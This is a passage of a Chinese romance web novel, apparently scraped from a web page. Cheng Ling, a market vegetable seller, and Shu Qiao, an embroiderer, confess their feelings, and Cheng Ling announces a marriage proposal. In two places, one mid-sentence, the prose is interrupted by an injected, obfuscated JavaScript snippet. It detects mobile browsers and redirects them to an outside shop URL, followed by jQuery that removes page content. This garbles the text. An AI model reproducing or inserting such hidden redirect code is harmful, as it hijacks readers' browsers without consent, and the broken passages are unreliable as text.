今日要出摊,没敢耽搁,他快速地起身套上衣裳,蹬上旧布鞋就出了门。
院子里还飘着点雨后的潮气,趁着晨风还有点凉飕飕的。
程凌懒得拿盆接水,走到井边,弯腰舀起半瓢水往脸上一泼,清凉的井水瞬间带走了最后一点睡意。
洗漱完,他拎起墙角的镰刀和箩筐,几步就跨到了后院菜地。
韭菜畦一片墨绿,露水正重。他蹲下身,左手拢住,右手镰刀一拉一割,几下就是一把握,顺手就扔进筐里,动作快得很,裤脚被露水打湿了也浑不在意。
没多会儿,筐底就铺了厚厚一层。
前面屋里也亮起了灯,窗纸上映出走动的人影。
程大江洗漱好,拎了箩筐去一旁摘黄瓜,手脚也快的很,三下两除二就装满了一筐。
趁着父子俩在后院忙活,许氏麻利地生火做朝食。知道程凌大部分时间都得守着摊子,她又特意烙了几张厚实顶饿的葱油饼,给他带着当午食。
晨露寒重,摘菜时裤脚和袖口不免被打湿。赶在天光完全放亮时,程凌匆匆喝完碗里热乎乎的米粥,回屋换了件干爽的粗布上衣走出来。
这时程大江早已将菜筐整齐码放在板车上,见程凌出来,便去牛棚牵出那头温顺的青牛,利索地套好车。
许氏递过装好水和饼的包袱,照例叮嘱道:“儿子,钱袋记得收好,菜行里人多眼杂,仔细些。”
“晓得了。”程凌接过包袱,牵起牛绳轻喝一声。牛车吱呀呀响起,碾过尚带露水的土路,缓缓融进渐明的晨光里。
到达菜行时,天色刚刚透亮,菜行里已是人声初沸。
挑着担子的、推着独轮车的、像他一样赶着牛车的摊贩们,从四面八方汇集而来,抢占着心仪的位置。熟识的摊主互相打着招呼,开着粗犷的玩笑,卸货声、吆喝声、牲畜偶尔的嘶鸣声交织在一起。
程凌的摊位在菜行东头,不算顶好,但也不算偏僻。他利落地卸下菜筐,将还带着露水的蔬菜一一取出,整齐码放在摊开的粗麻布上。
韭菜根茎对齐,捆成大小均匀的小把;黄瓜依品相排列,最水灵精神的放在最前面;小青菜抖落掉多余的水珠,堆成翠绿的小山。
邻摊卖笋子的老汉慢悠悠地摆弄着他的货品,跟旁边卖豆芽的妇人唠着家常,不知说到什么嗓门一下子提起来,很快又淹没在嘈杂声里。
程凌手脚麻利地干完活,用搭在脖子上的布巾擦了擦汗。
随着天色大亮,赶早市的人流渐渐密集起来。挎着篮子的妇人、步履匆匆的帮厨、精打细算的老翁……
一位穿着体面的阿么在他的摊前停下,手指翻了翻韭菜问:“后生,这韭菜怎么卖?”
“三文一捆,今早刚割的。”程凌拿起一捆递到他眼前。
那位阿么仔细看了看,点点头,“来两捆。黄瓜也挑两根,要直溜的。”
“成。”程凌熟练地挑出品相最好的,接过铜钱,这一天就是开张了。
另一边,舒乔总算盼来了晴天,阳光透过云层,照亮了小小的院落。
用过早饭,他同舒小圆一道打了水,直到水面几乎与缸沿齐平,映着晃动的天光。他这才拎起竹篮,踏出院门。
巷子里早已活泛起来,充满了清晨的忙乱与生机。几个小孩追逐着从舒乔身边跑过,带起一阵风。
不少做活计的汉子步履匆匆,嘴里叼着干粮,忙着赶往各自上工的地方。
巷口的公用水井旁最为热闹,等着挑水的人排成了不长的队伍,扁担水桶碰得哐当轻响,间或夹杂着几句关于天气和柴米油盐的闲聊,声音在清晨里显得格外清晰。
舒乔踩着雨后干净的青石板路,先去肉市割了一块肥瘦相间的肉,又买了五斤厚实雪白的猪板油。
屠户是个膀大腰圆的汉子,系着油腻的粗布襜衣,手起刀落,利索得很。
“一共一百四十二文,给一百四十文就成。”
屠户放下秤,用刀尖在肉皮上划个口子,抽过一根油亮的草绳穿过系紧,又从案板下抽出一张硕大,略带清香的干荷叶,将乳白的板油放在中央,粗壮的手指翻飞,三两下包成方方正正的一包,拿搓好的稻秆十字捆紧,这才稳稳放进舒乔递来的篮中。
菜篮霎时沉甸甸的,舒乔用手托了托底,心里满是采买充足的踏实感。
下了两天雨,如今天放晴,街上来往行人多了不少,空气也清新了许多。
舒乔侧身避让过一辆马车,心想今日程凌必定出摊了。这么想着,脸上的笑意不由更深,脚步也愈发轻快起来。
到家后,舒乔打算先熬猪油。猪肉切了一半留着晚上吃,另一半午饭用。
“小圆,帮哥哥洗块姜来。”舒乔朝外喊了一声,手里已经开始清洗那块猪板油。
“来啦!”舒小圆应着,顺手抄起靠在墙边的笤帚,把那只试图溜进屋,在门槛边探头探脑的母鸡轻轻赶了出去,“去去,回你的窝去。”
她蹲在橱柜和墙角的瓦罐里翻找了一会儿,看向舒乔道:“哥哥,姜好像没了,就剩几个干瘪的芽头了。”
“没了就去外边薅几株回来。”舒乔头也不抬,正将板油在案板上切成均匀的薄片。
舒小圆哦了一声,起身出去。
草棚边有一块用旧木板围成的小菜畦,里面挤挤挨挨地种了些小葱、嫩姜和蒜苗,还有几株用来泡水喝的薄荷,和一架正努力攀援的丝瓜。
丝瓜藤顺着草棚的架子蜿蜒,因种得晚,瓜纽才手指粗细,却圆润饱满。
舒小圆蹲下身,细细挑选后,拔了几株长得最壮的嫩姜,姜块还带着湿泥,她在木板上抖了抖。
看着丝瓜藤掩映的黄色小花,她抬头数了数藤上新结的小瓜纽,想着过不久就能吃上丝瓜,哼着小曲去舀水洗姜。
丝瓜是出了名的挂果多,从夏日吃到秋凉都够了。舒乔通常还会特意留几个瓜长老,取籽留种,剩下的瓜瓤晒干了,韧性十足,用来刷洗锅碗,比那铺子里卖的炊帚还趁手。
没过多久,院子里就飘出了熬猪油的香味,荤油气混着肉香,直往鼻子里钻。
锅里的肥肉丁滋滋地冒着泡,渐渐从白色变得透明,再慢慢缩成金黄焦脆的油渣。
舒乔弯腰往灶膛里添了根细柴,不时拿锅铲轻轻翻动。
“好香啊。”舒小圆像只被香味牵引的小狗,伸长脖子朝锅里望,眼睛亮晶晶的,回头朝舒乔笑道:“今晚有油渣吃咯!撒点盐,我能吃一大碗!”
刚出锅的油渣金黄酥脆,咬下去会发出咯吱声。舒小圆看着在油锅里滋滋冒响的油渣,忍不住咽了咽口水。
舒乔笑了声,用空着的手轻轻弹了一下她的额头,“小馋猫,还得再等一会儿,把水分熬干才脆生。等会儿好了我叫你,先回屋把最后那点绣活做完,不然王掌柜下回该挑剔了。”
舒小圆摸着额头,乖乖应道:“好嘛,哥哥你可别忘了叫我,我最信你了。”
“忘不了,快去。”舒乔在灶前的小凳子上坐下,目光重新回到锅里。
反正帕子也快完工了,舒小圆蹦蹦跳跳回屋,想着赶紧绣完好放心吃油渣。
她的绣活都是舒乔手把手教的,从穿针引线到分丝配色。平日虽嘴上嚷着脖子酸、眼睛累,学得却认真,针捏得稳。
绣出来的帕子和舒乔那精细得能卖出好价的相比,虽针脚稍显稚嫩,配色更大胆些,但也平整密实,看得过去。
前几日舒乔去卖绣品,王掌柜顺口问了句舒小圆学得如何,舒乔便多说了几句妹妹的认真。
王掌柜知道后,让舒乔下次把她绣的帕子也拿几张来看看,最终在一堆帕子里挑了几张绣得最齐整的收下了。
“针脚还算匀净,这小猫扑蝶的花样虽简单,倒也憨态可掬,尾巴绣得有几分活泛劲儿,小丫头有几分灵性,这几条我收了。”
舒乔把王掌柜的话原原本本说给舒小圆听,小丫头当即乐得在炕上打滚,秦氏在一旁也笑得合不拢嘴。
一条帕子七文!舒小圆一下挣了二十一文!
这可不得了,她像打了鸡血似的,绣帕子比往日积极得多,不用舒乔和秦氏催促,一有空就抱着绣绷,琢磨绣什么花样好看。
王掌柜固然卖了舒乔几分面子,但舒小圆的帕子也确实绣得不错。有人喜欢梅兰竹菊的雅致,也有人偏爱活泼有趣的图样,尤其家里有年幼子女的,多会买回去哄孩子开心。
刚熬好的猪油澄黄透亮,舒乔用勺子舀起,小心倒入干燥的阔口陶罐,装完后又稳稳移到灶台边,盖好盖子。他另取个小碗,盛了半碗金灿灿的油渣,撒上一小撮细盐,端进屋里。
“谁要吃?”舒乔站在门边,自己先拈了一块还烫手的油渣放入口中,嚼得咯吱响,满口都是焦香。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164060|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我我我!”舒小圆立刻丢下绣绷,从炕上溜下来,跑过来踮脚拿了一块,迫不及待地塞进嘴里,烫得直呵气,用手在嘴边扇着风,含混不清地连连点头,“香!就是这个味,酥脆!”
舒乔朝坐在窗下做针线的秦氏举了举碗,秦氏摆摆手,脸上带着温和的笑意,“你们吃,这东西油性大,我吃了怕腻。”
她又不忘提醒两人,“这东西香是香,但易上火。如今天气又热,吃这几块便罢,可不许多吃了,仔细晚上嗓子疼。”
舒乔和舒小圆又各自拿了一块,齐声应道:“知道了娘。”
舒乔吃了几块解了馋,便去灶屋把锅灶收拾干净。他洗净手,回来坐在炕沿,也拿起自己的绣活,那是一方素净的帕子,上面一枝玉兰才绣了一半。
他几乎每日都是如此,忙完家中洒扫和三餐的杂事,便回屋拈起针线,有时一坐便是一天。
舟阿么老是叮嘱他不可久坐,要他时常起来走动,否则便会像自己一样,眼睛发涩,夜里看东西像蒙了层纱。
舒乔自是谨记在心,但有时绣得入了神,难免忘了时辰,还得家里人提醒。不过如今心里惦记着去菜行,他倒也会常留意起时辰来。
临近酉时,天光西斜,舒乔将绣了一半的玉兰帕子仔细收在竹篮里,针别在线笼上,起身去灶屋取了墙边挂着的菜篮。
“小圆你去不去?”舒乔的声音从灶房传来。
“不了,哥哥你早点回来呀!”舒小圆清脆地应了一声,手里还捏着针,转头悄悄瞥了眼坐在窗边就着光亮纳鞋底的娘亲,母女俩视线一对,舒小圆露出一个心照不宣的狡黠笑容。
娘早私下吩咐过她,得让哥哥和程大哥多些独处的机会。她若是跟去,岂不是太不识趣了?
想到这里,小姑娘脸上的笑意更深,带着点“我什么都懂”的小得意。
另一边舒乔眼里掠过一丝疑惑,随即恍然,想来妹妹是知道了绣帕子能挣银钱的事,正新鲜劲儿十足,埋头用功呢。他心下欣慰妹妹长大了,懂事了,拎起篮子出了院门。
夏天傍晚的风带着令人舒爽的凉意,吹散了白日的些许燥热。
孩童的嬉闹声,家人呼唤孩子回家的悠长调子传来,舒乔穿过热闹的巷弄。他步子轻快,不一会儿就来到了喧嚣渐落的菜市。
此时的菜市已不似清晨时分那般人声鼎沸,摩肩接踵。大部分摊贩开始归置剩余不多的货物,擦拭秤盘,互相招呼着“明儿见”。
程凌的菜摊靠近出口的位置,舒乔到时,他正背对着这边,弯腰将摊位上品相稍差,有些蔫软的菜叶拢到一处。
眼角撇到熟悉的身影,程凌脊背微微一直,随即放下手里的东西,转过身来看着舒乔,如常唤道:“来了。”
“程大哥。”舒乔笑着应了,将空篮子递过去。
程凌照旧将早已整理好的菜叶给他装好,舒乔伸手接过时,指尖不经意相触,两人都顿了一下,随即跟被烫着似的迅速分开。
几句日常问候后,两人之间倏然静了下来,一种微妙的寂静在空气中蔓延。
周遭零星的叫卖声与归家人的谈笑声,越发衬得这份寂静撩动人心。
舒乔只觉得耳根隐隐发烫,心跳也快了几分,觉得非得说些什么才好,不然这心就要从嗓子眼跳出来了。
他目光游移到摊上最后几根略显弯曲,带着小刺的黄瓜上,声音有些干巴巴地开口道:“程大哥,今天黄瓜卖得挺快。”
“嗯,就剩这几根品相差些的,没人要。”程凌喝完水,擦了把汗,抬眼看向他时,里面含着未散尽的笑意,看得舒乔更不自在了。
“那青菜也卖得差不多了?”舒乔下意识地接话,话一出口就意识到这问题多余,摊上空荡荡的,一目了然,他纤长的睫毛快速眨动了一下。
他平日这时该走了,这会儿脚下却有些挪不动,想多同他说几句话。
舒乔轻轻吸了口气,抬头望了望天际白花花的云团,又寻了个话头,语气努力放得自然道:“近来天黑得似乎晚了些,酉时了,天还这么亮。”
程凌手里拿着水囊,注视着他微微侧过去的半边脸颊,又扫过他无意识地在篮柄上扣着的手指,顿了顿,点头应和道:“是,入了夏,白日就一天长过一天了。”
看着舒乔微微垂下视线,似乎还在努力搜刮别的话题,那副明明不擅长却又强自镇定的模样,让程凌心头像是被羽毛轻轻扫过。
他心里不再犹豫,放下手里的水囊,声音平稳却直接道:“乔哥儿,往后,我不会再给你菜叶了。”
舒乔猛地抬起头,眼睛微微睁大,刚才想好的话都卡在了喉咙里,唇瓣无声地张合了一下。
他能清晰地感受到自己的心在胸腔里一下下有力地撞击着,速度很快,带着一种预示般的悸动。
他隐隐约约猜到,程凌要跟他说什么了。
程凌目光直盯着他,继续说道:“往后,我每天都会给你留最好的,你人来就行。”
说完他面容柔和了些,平稳的声线里透出几分不易察觉的小心翼翼,解释道:“我不是只想给你菜,更是想……日日都能见到你,说上几句话。”
虽说心里有过猜测,可真听到程凌说出来,舒乔还是愣住了。
周遭的声音仿佛瞬间远去,又猛地涌回。他下意识屏住呼吸,手指紧紧攥住提手,指节因用力而微微发白。
他飞快瞥了程凌一眼,发觉他沉稳目光下那一丝紧绷。
原来不止他一个人在紧张啊。这个发现奇异地抚平了他的慌乱。
舒乔不是爱纠结的人。程凌的话直白真诚,就像他这个人一样,踏实,可靠。往日那些默默的关照,雷打不动的等候,他怎能不放在心上。
何况他喜欢看到程凌,喜欢这每日傍晚短暂的相处,喜欢他沉默寡言下的细致体贴。
既然两人心意相通,他为何要犹豫?
他深吸一口气,像是终于下定了决心,再抬眼时,眸光清亮如洗,坚定地迎上程凌的视线,说道:“好啊。”
“那你的水,我也包了,我日日给你带。”他望向程凌,脸上是藏不住的,几乎要满溢出来的欢喜和明亮光彩。
程凌心头蓦地一松,这才注意到自己刚才因紧张一直紧握的拳头,掌心已是一片湿濡。
他原本在心头预想过许多种回应,甚至包括疏离的拒绝,话出口前,还犹疑是否该再等些时日,至少换个更清净的场合。
可今日一见乔哥儿那躲闪又羞赧,与自己独处时明显不同于往常的无措眼神,藏在心里许久的话便再也按捺不住,冲破了所有顾虑。
此刻,听到那声清晰而坚定的“好啊”,看着舒乔眼中毫不掩饰的欣喜,他只郑重地点头,“一言为定!”
他忽地想起娘那日说的话,心想得提上日程了。
13. 第 13 章
“哥哥?哥哥!”舒小圆的手在舒乔眼前晃了晃,又指了指他手里那块被反复搓洗的抹布,语气里满是无奈,“这抹布都快被你洗薄一层了,还没洗干净么?”
“嗯?哦……沾了油星,难洗些。”舒乔猛地回神,看着手里确实有些过份干净的抹布,面上掠过一丝窘迫,忙起身将水泼掉。
舒小圆盯着哥哥略显匆忙的背影,心头灵光一闪——自打从菜市回来,哥哥不是抿嘴偷笑,就是像刚才这样神游天外,莫非……真和程大哥把话说开了?
她眼睛倏地一亮,像只发现了粮仓的小老鼠,转身就轻快地溜进屋里,压着兴奋喊道:“娘——!”
“什么事值当你这样大呼小叫的?”秦氏正不紧不慢地叠着衣裳,见她脸蛋红扑扑地冲进来,笑着将叠好的衣物放进柜子,“又瞧见什么稀奇了?”
“是哥哥!”舒小圆凑到秦氏身边,踮起脚尖,小手拢在嘴边,对着她的耳朵飞快地嘀咕了几句。
秦氏闻言,手上动作微微一顿,直起身子,目光若有所思地投向灶屋方向道:“当真?”
她想起晚饭时乔哥儿确实有些心不在焉,只当是白日做绣活耗神,竟没往这头想。
“我瞧着有八九分真!”舒小圆用力点头,小脸上写满了笃定。
“什么真的假的?”舒小临恰好提着空水桶从门外经过,听见屋里动静,好奇地探进半个身子。
他一天多在茶馆忙活,家里的事难免知道得晚些,问道:“又有什么新鲜事是我不知道的?”
“没什么要紧的,”秦氏不动声色地关好柜门,“不过是娘俩闲话几句。”
乔哥儿和程凌的事尚未明朗,眼下不宜张扬,等稳妥些再说不迟。
可舒小圆哪里是藏得住话的,一把拉住舒小临的胳膊就往外拽,“小临哥,你来,我跟你说……”
秦氏瞧着两人凑到院角嘀嘀咕咕的背影,无奈地摇了摇头,却也未加阻拦。
罢了,孩子们亲近,早晚也得知道。
舒乔从灶屋出来,手里拿着拧干的抹布,就见弟弟妹妹脑袋挨着脑袋在摇椅旁说得起劲,便问道:“小圆小临,水烧好了,你们谁先去洗?”
“啊?哥哥你先洗吧!”舒小圆猛地抬起头,冲他咧嘴一笑,又用手肘碰了碰旁边的舒小临,“我和小临哥再说会儿话。”
“行。”舒乔并未细看她的表情,点了点头,自去寻换洗衣物。
舒乔很快打好了热水。舒小临望着哥哥的背影,摸着下巴,压低声音问:“你刚才说的是真的?”
“千真万确!”舒小圆说完,趁他思索的功夫,身子一歪,抢先占据了那架竹制摇椅,躺下后高兴地晃了晃。
之前舒小圆虽提过程凌,舒小临只当是哥哥在集市上认识的普通朋友,并未多想。
“你们问过哥了没?”他轻轻拍了拍舒小圆翘起的脚丫,示意她安分点,眉头微蹙,显出几分与他年纪不符的忧思,“万一只是咱们瞎猜呢?还有那位程大哥,人品性情究竟如何?我就怕哥吃亏。”
舒小圆干脆把腿放地上舒展开,一边慢悠悠晃着摇椅,一边老神在在地说:“你若问他俩有没有捅破那层窗户纸,那我还没问。不过嘛,”她话音一转,带着点跃跃欲试,“我打算今晚就问个明白!”
她顿了顿,又补充道,“至于程大哥,我觉得人挺好的,改天我带你去菜行亲眼瞧瞧。”
舒小临听了,脸上露出些笑意,“成,那我可得好好看看。”他眉头皱了又展开,“你再同我细说说,他都什么样儿?”
等舒乔擦着湿发出来,见两人还凑在一处,低声聊得热络。
“你俩今晚哪来这么多话聊?”舒乔笑着打趣,又催促道,“天色不早了,下一个谁去洗?”
“小临哥去!”舒小圆推了推舒小临。
“好嘞!”舒小临想知道的也打听了个七七八八,利落地收起小板凳,提桶去打水。
“小圆别贪凉,坐一会儿就进屋。”舒乔用布巾揉着半干的头发叮嘱,转身先回了屋。
“知道啦哥哥,我再吹吹风就进去。”舒小圆惬意地窝在摇椅里,望着开始冒出星子的夜空,吹着晚风哼着小曲。
屋里秦氏正坐在炕沿,小口喝着放温了的药汁。舒乔脱鞋上炕,问道:“娘,这药再吃明天一剂,就该完了吧?”
“是啊,总算见到头了。”秦氏放下药碗,脸上带着轻松的笑意,目光投向窗外渐浓的暮色,声音轻缓了些,“身子既好了,我琢磨着,还是得去寻个活计……”
“娘,不急在这一时。”舒乔放下布巾,打断道,“林大夫反复叮嘱,娘须得好好休养,最忌劳累。”
秦氏见他眉头微蹙,忙安抚道:“娘晓得轻重,也就是这么一想。合适的活计也不是说有就有的,是不是?”
舒乔语气也缓和下来,说道:“反正先别急,万事有我呢。”
“娘知道。”秦氏心里一暖,眼眶有些发热,起身端起药碗,“我去把碗涮了,再给灶里添把火。”
舒乔靠着墙壁坐下,轻轻吁出一口气。与程凌分别时那份充盈心口的雀跃渐渐沉淀下来,他捻起垂在肩头的一缕微湿的发丝,眸光落在跳跃的油灯火苗上,有些出神。
如今家中嚼用,多半指着他绣帕子换来的银钱。小临在茶馆还算不得正经伙计,工钱有限。小圆虽也能绣些简单花样贴补,但费时费力,且不稳定。
“先不想这些了。”他抬手轻轻拍了拍自己的脸颊,振作精神,起身将窗户关紧,免得蚊虫飞进来。
夜色渐深,见舒小圆还没进屋,舒乔朝窗外扬声道:“小圆,别磨蹭了,你小临哥快洗好了!”
“来啦来啦!”舒小圆忙不迭应声,从摇椅上爬起来。外头晚风凉快,她险些睡着了。
待三人都洗漱完毕,舒乔见舒小圆那双滴溜溜转个不停的大眼睛,心下明了。不等她寻机开口,他便率先道:“娘,小圆,我和你们说件事。”
舒小圆几乎是立刻丢开了抱在怀里的枕头,凑到舒乔身边,仰着脸,满眼期待地问:“什么事什么事?哥哥快说!”
秦氏也转过身看着他。舒乔轻咳一声,目光游移了一瞬,落在炕席的花纹上,有些不好意思地低声道:“就是我和程凌的事……他今日同我说明白了。所以你们俩,特别是你,舒小圆,别再整日琢磨我的事了。”
他说着,伸手轻轻捏了捏妹妹的脸蛋,语气里带着几分被看穿后羞恼。
“太好啦!我就知道!”舒小圆欢呼一声,也顾不上被捏的脸,高兴地抱住秦氏的胳膊摇晃起来,忽地又想起什么,笑容僵在脸上,“可是哥哥,你要是和程大哥成亲,是不是就要搬出去住了?”
舒乔看着她瞬间垮下的小脸,真是哭笑不得,“你这脑袋瓜里整天都想些什么?”
“难道不是吗?”舒小圆求助般看向秦氏。她记得娘之前是为哥哥的婚事操心,才会对程大哥的出现格外上心。
“没这么快,”秦氏笑着拍了拍她的手背,温言道,“往后的日子长着呢。”
舒小圆这才松了口气。虽说哥哥迟早要出嫁,但只要想到哥哥要离开这个家,她心里就涌起浓浓的不舍。
舒乔悄悄舒了口气。借着灯影掩护,无人瞧见他颊边未散的热意。怕她们再追问细节,他忙借口天色已晚,起身利落地吹熄了油灯。
黑暗中,秦氏却思绪翻涌。既然两个孩子彼此都有意,先处处看自是好的,婚事倒不必急于一时。只是这般私下往来,时日长了难免惹人闲话,明日需得嘱咐小圆和小临,暂且把话藏在肚子里,毕竟巷子里还有个见风就是雨的张家媳妇。
然而她转念一想,两个孩子总不能一直这样不明不白地来往。终究需得两家大人正式相看,看看对方家里的态度。若能早些将亲事定下,自是稳妥。
秦氏心下权衡不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164061|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定,想着明日还是得去舟阿么那儿坐坐,同他和方大娘好好商议一番。
两家素来亲近,当初还是舟阿么先提醒她该为乔哥儿的终身大事上心,而且方大娘看人看事一向精准,同他们商量准没错。
躺在两人中间的舒小圆,同样辗转难眠。
她一会儿为哥哥寻得良人而满心欢喜——程大哥待人接物稳重周到,她是真心觉得好;一会儿想到□□后出嫁便要离开家,心头顿时被浓浓的不舍填满,竟真的纠结起来。
一旁的舒乔心潮也尚未平息。一阖眼,程凌那张带着认真神色、目光灼灼的脸便清晰地浮现在眼前。他索性侧过身,望着窗外洒落的清冷月辉,脑海中思绪纷杂,唇边却不自觉地凝着一抹浅笑。
三人怀揣着各自的心事,在渐深的夜色里,陆续沉入梦乡。
翌日,还未到酉时,舒乔便提着篮子出了门。
“程大哥,我在水里添了点甘草,听说清热解渴最好,你尝尝。”舒乔将水壶递过去,初时心下还有些忐忑,可见程凌神色如常地接过,那份不自在便也渐渐消散了。
“好。”程凌接过竹筒,将新水续进早已空空如也的水囊里。他仰头喝了一口,甘草的甘润恰到好处地抚过喉间。
“很清甜。”他放下水囊,目光在舒乔脸上多停驻了片刻。那眼神依旧是沉稳的,却比平日软和了些,像被这口水里的甜意悄悄浸透了。
舒乔笑眼弯弯道:“你喜欢就好,我明日再给你带。”
程凌点头,将那点不易察觉的赧意掩在沉静的面容下,看着他道:“对了,乔哥儿,你唤我名字便好。”接着,他便报上了自己的生辰年份。
原来程大哥比自己年长一岁。舒乔认真想了想,抬眼,目光清亮地望进程凌眼中,声音轻柔道:“那我唤你‘阿凌’,可好?”
反倒是程凌,被他这坦率的目光看得有些招架不住,微微移开视线,低声应道:“随你,乔哥儿。”
舒乔见他这般情状,唇角笑意加深,从善如流地唤了一声,“阿凌。”
两人相视间,虽一时无话,周遭却弥漫着静谧而和洽的氛围。舒乔又站着陪了他一小会儿,看着他将最后几把菜捆扎好,方才告辞离去。
程凌目送那道清瘦的身影融入街角人流,直至看不见,才缓缓收回目光,嘴角噙着笑意,转身继续利落地收拾摊位。
他既说了不再给舒乔挑剩的菜叶,便每日都将那些用来喂鸡的老叶、残叶另放一处,而最新鲜水灵的蔬菜,则总是仔细挑拣出来,单独放在干净的篮子里留给舒乔。
秦氏见舒乔提回满满一篮子水灵灵的蔬菜,不由讶异道:“这都是……凌小子给的?”
“嗯……”舒乔有些不好意思地低下头,动手将里面夹杂的、明显是喂鸡的菜叶挑拣出来,“他说都是自家地里产的,不值什么,我本说了不用……”
可程凌那句“我们昨日说好的,莫非不作数了?”言犹在耳,眼神那般坦诚执着,他推拒的话便再也说不出口。舒乔心里盘算着,日后得更花些心思,给他带些解暑的汤饮或是耐放的吃食才好。
接连几日,舒乔都会在傍晚时分去菜市,同程凌说上几句话,但也都体贴地不过多打扰他收摊。
程凌待他极为诚恳,几乎是无话不谈,将自家在清水村的具体位置、家中父母性情、甚至院里养了几只鸡、地里轮种了哪些庄稼都细细说与他听。那份郑重其事的态度,让舒乔真切切地感受到了他的心意。
舒乔听着,心里那份安稳便又多了一重,也将自家的情形,细细地说与他知道。但他万万没想到,就在这番交心之后的第二天清早,他刚推开院门,便见程凌挺拔的身影立在薄薄的晨雾之中,肩头似乎还带着赶路的露水。
同样被惊动的还有正准备去茶馆的舒小临,他闻声从屋里探出身来,瞪大了眼睛,带着几分审视和好奇,上下打量着这位清晨突至的“客人”。
14. 第 14 章
晨风带着未散的凉意,轻轻拂过院门前的三人。
最终还是程凌手中那条不住扑腾的草鱼打破了这片微妙的寂静。
“乔哥儿,早。”程凌提了提手中渐渐安分下来的鱼,脸上带着和缓的笑意,“我爹昨日从塘里捞了几尾鱼,想着趁新鲜送一条过来。这么早过来,没扰着你们歇息吧?”
虽说是一番好意,但这般不请自来的清晨造访,他心下终究有些忐忑。
舒乔看着那条鳞片在晨光下闪着银光的鱼,回过神来,赶忙将院门完全拉开,侧身让出位置,说道:“阿凌,快进院里来,我们正用早饭呢。”
他眼里的讶异还未完全褪去,跟着又问了一句,“你用过早饭了吗?”
见程凌颔首,舒乔的视线又落回那条肥美的鱼上,觉得这份礼太重了些。
“前两日雨水大,塘水涨了,鱼都聚在一起,好捞。”程凌将系鱼的草绳递过去,语气平稳却透着坚持,“家里还有呢,我想着拿来给你们尝尝鲜。”
舒乔见他态度坚决,不好再推辞,只得接过那沉甸甸的,还带着塘水腥气的鱼,引着他走进院子。
舒小临嘴里还叼着半块没吃完的饼子,凑在一旁,一双眼睛滴溜溜在程凌和自家哥哥之间打转,含糊地招呼道:“程大哥早。”
程凌对他点了点头,眼睛却不由自主地追随着舒乔走向灶屋的身影。
秦氏和舒小圆听见动静,从灶屋走出来,见到立在院中的程凌,面上都露出了几分意外。
程凌身姿不自觉地挺得更直了些,朝秦氏问候道:“婶子,冒昧前来,打扰了。”
“程小子是从菜市直接过来的?”秦氏脸上漾开温和的笑意,语气亲切。
“嗯,摊位暂时托了邻摊的李叔帮忙照看一会儿,所以不便久留。”程凌解释道。
“正该如此,生意是马虎不得的。”秦氏赞同地点点头,又像是拉家常般问道,“从家里过来,路上得费不少工夫吧?平日要出摊,地里的活计还忙得过来吗?”
“赶牛车快些,约莫两刻钟便能到。”程凌答得认真仔细,“家里田地不多,我爹娘身子骨都硬朗,我们三人一起伺候绰绰有余。”
两人一来一往地说着话,旁边舒小临和舒小圆便竖着耳朵听,时不时心照不宣的对视一眼。
舒乔插不上话,只能安静地站在一旁,却忍不住往那边程凌瞟。
“乔哥儿昨日带回来的菜很是新鲜水灵,劳你费心惦记了。”秦氏话锋不着痕迹地一转,语气带着恰当的斟酌,“只是总让你这般破费,婶子心里实在过意不去。”
她这话说得委婉,眼神却温和地落在程凌脸上,带着长辈特有的探询意味。
程凌心下一凛,立刻明白了这话中的关切与考量。他原本并未打算在今日这般仓促地提起,但觉得此刻正是表明心迹的时机。
他诚恳地看向秦氏,又迅速扫过身旁微微垂着头的舒乔,说道:“婶子千万别这么说,都是自家地里的出产,不值当什么。我今日冒昧前来,也是想同您说,我已与家中父母商议妥当,若是您觉得合适,后日便请媒人正式上门提亲。”
话音一落,小院里霎时静默下来,连空气都仿佛凝滞了片刻。
程凌说完这番话,心也提到了嗓子眼。
这比他原定的计划提前了些,虽是他深思熟虑后的决定,此刻却不免担心是否会显得过于急切,让秦氏觉得他不够稳重周全。
他面上竭力保持着平静,目光却紧锁在秦氏和舒乔的脸上。
院内几人都怔住了,齐刷刷地聚焦在程凌身上。
舒小圆惊讶地眨了眨眼,舒小临也忘了咀嚼,愣愣地看着程凌。
舒乔倏然抬头望向程凌,正对上他那双写满坚定的眼睛,那目光灼灼,仿佛带着实质的温度,烫得他耳根瞬间热了起来,一时竟忘了该如何回应。
秦氏亦是微微一愣,心下自然是欢喜的,但这答复来得如此迅速果决,远超她的预料,让她在惊喜之余,也不禁生出几分需要细细思量的慎重。
她稳了稳心神,才开口确认道:“提亲是大事,你爹娘那边,果真都已商议妥帖了?”
“都已商议妥当,只待后日媒人登门。”程凌回答得干脆利落,视线再次转向舒乔,语气放缓了些,“乔哥儿,你……意下如何?”
舒乔被他看得脸颊发烫,手指无意识地捻着串鱼的湿滑草绳,心底却是一片清明。
这些时日的相处,程凌的真诚他都看在眼里,此刻应下,心里反倒踏实下来。
他压下翻涌的心绪,迎上程凌饱含期待的眼神,坦然点了点头,声音不大,却字字清晰道:“我听娘的安排。”这便是应允了。
见舒乔点头,程凌悬着的心才算真正落回了实处,眼底漫上欣悦的笑意。
他紧绷的肩膀放松下来,转身对秦氏道:“婶子,那便说定了,后日一早,媒人便到。摊上还需人照看,我就不多叨扰,先告辞了。”
“哎,好。”秦氏脸上带着宽慰的笑容,“难为你一大清早特意赶过来,连口热水都没喝上。”
